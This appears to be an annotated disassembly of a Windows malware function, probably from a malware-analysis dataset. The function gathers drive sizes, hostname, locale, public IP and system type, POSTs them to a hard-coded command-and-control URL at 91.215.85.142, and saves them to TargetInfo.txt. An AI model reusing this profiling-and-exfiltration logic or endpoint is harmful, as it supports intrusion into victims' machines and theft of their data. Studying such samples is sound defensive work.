Function at 0x405b8a
Capabilities:
Get disk information
Get disk size
Get geographical location
Get hostname
Get system information on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc7c
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_wnsprintfA]
push esi
xor esi, esi
push edi
cmp dword [0x430924], esi
jne 0x405c72
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x41
pop ecx
push 0x1a
pop edx
mov dword [ebp - 0xc4c], eax
mov dword [ebp - 0xc50], ecx
mov dword [ebp - 0xc48], edx
test al, 1
je 0x405c48
and dword [ebp - 0xc44], 0
lea eax, [ebp - 0xc44]
push ecx
push str._c:_
push 4
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x10]
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
push eax
lea eax, [ebp - 0xc58]
mov dword [ebp - 0xc58], ecx
push eax
push ecx
lea eax, [ebp - 0xc44]
mov dword [ebp - 0xc54], ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ecx, dword [ebp - 0xc58]
sub ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc54]
sbb eax, dword [ebp - 0xc]
add esi, ecx
mov ecx, dword [ebp - 0xc50]
mov edx, dword [ebp - 0xc48]
adc edi, eax
mov eax, dword [ebp - 0xc4c]
inc ecx
shr eax, 1
sub edx, 1
mov dword [ebp - 0xc50], ecx
mov dword [ebp - 0xc4c], eax
mov dword [ebp - 0xc48], edx
jne 0x405bd4
shrd esi, edi, 0x1e
mov dword [0x430924], esi
xor esi, esi
cmp dword [0x430930], 0
jne 0x405df0
lea eax, [ebp - 0xc50]
mov dword [0x430930], 0x200
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc50], 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ecx
push ecx
lea eax, [ebp - 0xc4c]
mov dword [ebp - 0xc4c], esi
push eax
lea eax, [ebp - 0xc44]
mov dword [ebp - 0xc44], 1
push eax
push ecx
call fcn.00403da5
add esp, 0x14
mov dword [ebp - 0xc48], esi
lea eax, [ebp - 0xc48]
push 4
push eax
push 0x5a
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
mov dword [ebp - 0xc44], esi
lea edi, [ebp - 0x38]
mov edx, 0x42acb0
stosd dword es:[edi], eax
mov ecx, str.http:__api.ipify.org
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xc44]
push eax
push esi
push esi
push str.Content_Type:_application_x_www_form_urlencoded_r_nHost:_api.ipify.org_r_n
call fcn.00401245
mov esi, eax
add esp, 0x10
test esi, esi
je 0x405d3d
cmp dword [ebp - 0xc44], 0x11
jae 0x405d3d
push dword [ebp - 0xc44]
lea eax, [ebp - 0x38]
push esi
push eax
call fcn.00415060
add esp, 0xc
jmp 0x405d4f
mov dword [ebp - 0x38], 0x6e6b6e75
mov dword [ebp - 0x34], 0x6e776f
test esi, esi
je 0x405d56
push esi
call fcn.0041562b
pop ecx
push 9
pop eax
mov ecx, eax
lea edi, [ebp - 0xc7c]
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xc7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 9
pop eax
cmp word [ebp - 0xc7c], ax
mov edi, 0x180
mov eax, 0x42ace4
mov esi, 0x42ace8
push edi
cmovne esi, eax
lea eax, [ebp - 0x1b8]
push 0
push eax
call fcn.00413bd0
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xc48]
push eax
push esi
mov esi, dword [ebp - 0xc4c]
lea eax, [ebp - 0x1b8]
push esi
push str._s__s___s___s___s
push edi
push eax
call ebx
add esp, 0x20
lea eax, [ebp - 0x1b8]
push 0x2000000
push 0x430930
push 0x430938
push eax
call dword [sym.imp.SHLWAPI.dll_UrlEscapeA]
test esi, esi
je 0x405df0
push esi
call fcn.0041562b
pop ecx
lea edx, [ebp - 0x18]
mov ecx, str.http:__91.215.85.142_QWEwqdsvsf_ap.php
call fcn.004010cb
test al, al
je 0x405ff1
push dword [ebp - 0x18]
lea eax, [ebp - 0x440]
push str.Content_Type:_application_x_www_form_urlencoded_r_nHost:__s_r_n
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov esi, dword [0x43092c]
lea edi, [ebp - 0x24]
xor eax, eax
add esp, 0x10
stosd dword es:[edi], eax
push 0
stosd dword es:[edi], eax
push 0x40000000
push esi
stosw word es:[edi], ax
mov edi, dword [0x430928]
push edi
call fcn.00421320
mov ecx, eax
or ecx, edx
jne 0x405e6b
push ecx
push 0x100000
push esi
push edi
call fcn.00421320
push eax
push str.0._d
lea eax, [ebp - 0x24]
push 0xa
push eax
call ebx
add esp, 0x10
jmp 0x405e7d
push edx
push eax
push 0x42add0
lea eax, [ebp - 0x24]
push 0xa
push eax
call ebx
add esp, 0x14
push dword [0x430924]
lea eax, [ebp - 0x24]
push eax
push 0x430938
push 0x42fae8
push 0x42ee0c
push str.user_sTargetID_sSystemInformation_smax_size_of_file_ssize_of_hdd_d
lea eax, [ebp - 0xc40]
push 0x400
push eax
call ebx
xor esi, esi
mov edx, str.POST
push esi
push eax
lea eax, [ebp - 0xc40]
mov ecx, str.http:__91.215.85.142_QWEwqdsvsf_ap.php
push eax
lea eax, [ebp - 0x440]
push eax
call fcn.00401245
add esp, 0x30
test eax, eax
je 0x405ed8
push eax
call fcn.0041562b
pop ecx
push dword [ebp - 0x18]
call fcn.0041562b
pop ecx
push dword [ebp - 0x14]
call fcn.0041562b
pop ecx
push esi
push 0x80
push 2
push esi
push 1
push 0x40000000
push str.TargetInfo.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405ff1
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
push 0
push 0x40000000
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [0x43092c]
push edi
push dword [0x430928]
call fcn.00421320
mov ecx, eax
or ecx, edx
jne 0x405f5d
push ecx
push 0x100000
push edi
push dword [0x430928]
call fcn.00421320
push eax
push str.0._d
lea eax, [ebp - 0x14]
push 0xa
push eax
call ebx
add esp, 0x10
jmp 0x405f6f
push edx
push eax
push 0x42add0
lea eax, [ebp - 0x14]
push 0xa
push eax
call ebx
add esp, 0x14
push 0
lea eax, [ebp - 0xc48]
mov dword [ebp - 0xc48], 0x200
push eax
lea eax, [ebp - 0x238]
push eax
push 0x430938
call dword [sym.imp.SHLWAPI.dll_UrlUnescapeA]
push dword [0x430924]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x238]
push eax
push 0x42fae8
push str._s_s_s_d
lea eax, [ebp - 0x840]
push 0x400
push eax
call ebx
lea ecx, [ebp - 0x840]
add esp, 0x1c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405fc9
push 0
lea eax, [ebp - 0xc4c]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412408
leave
ret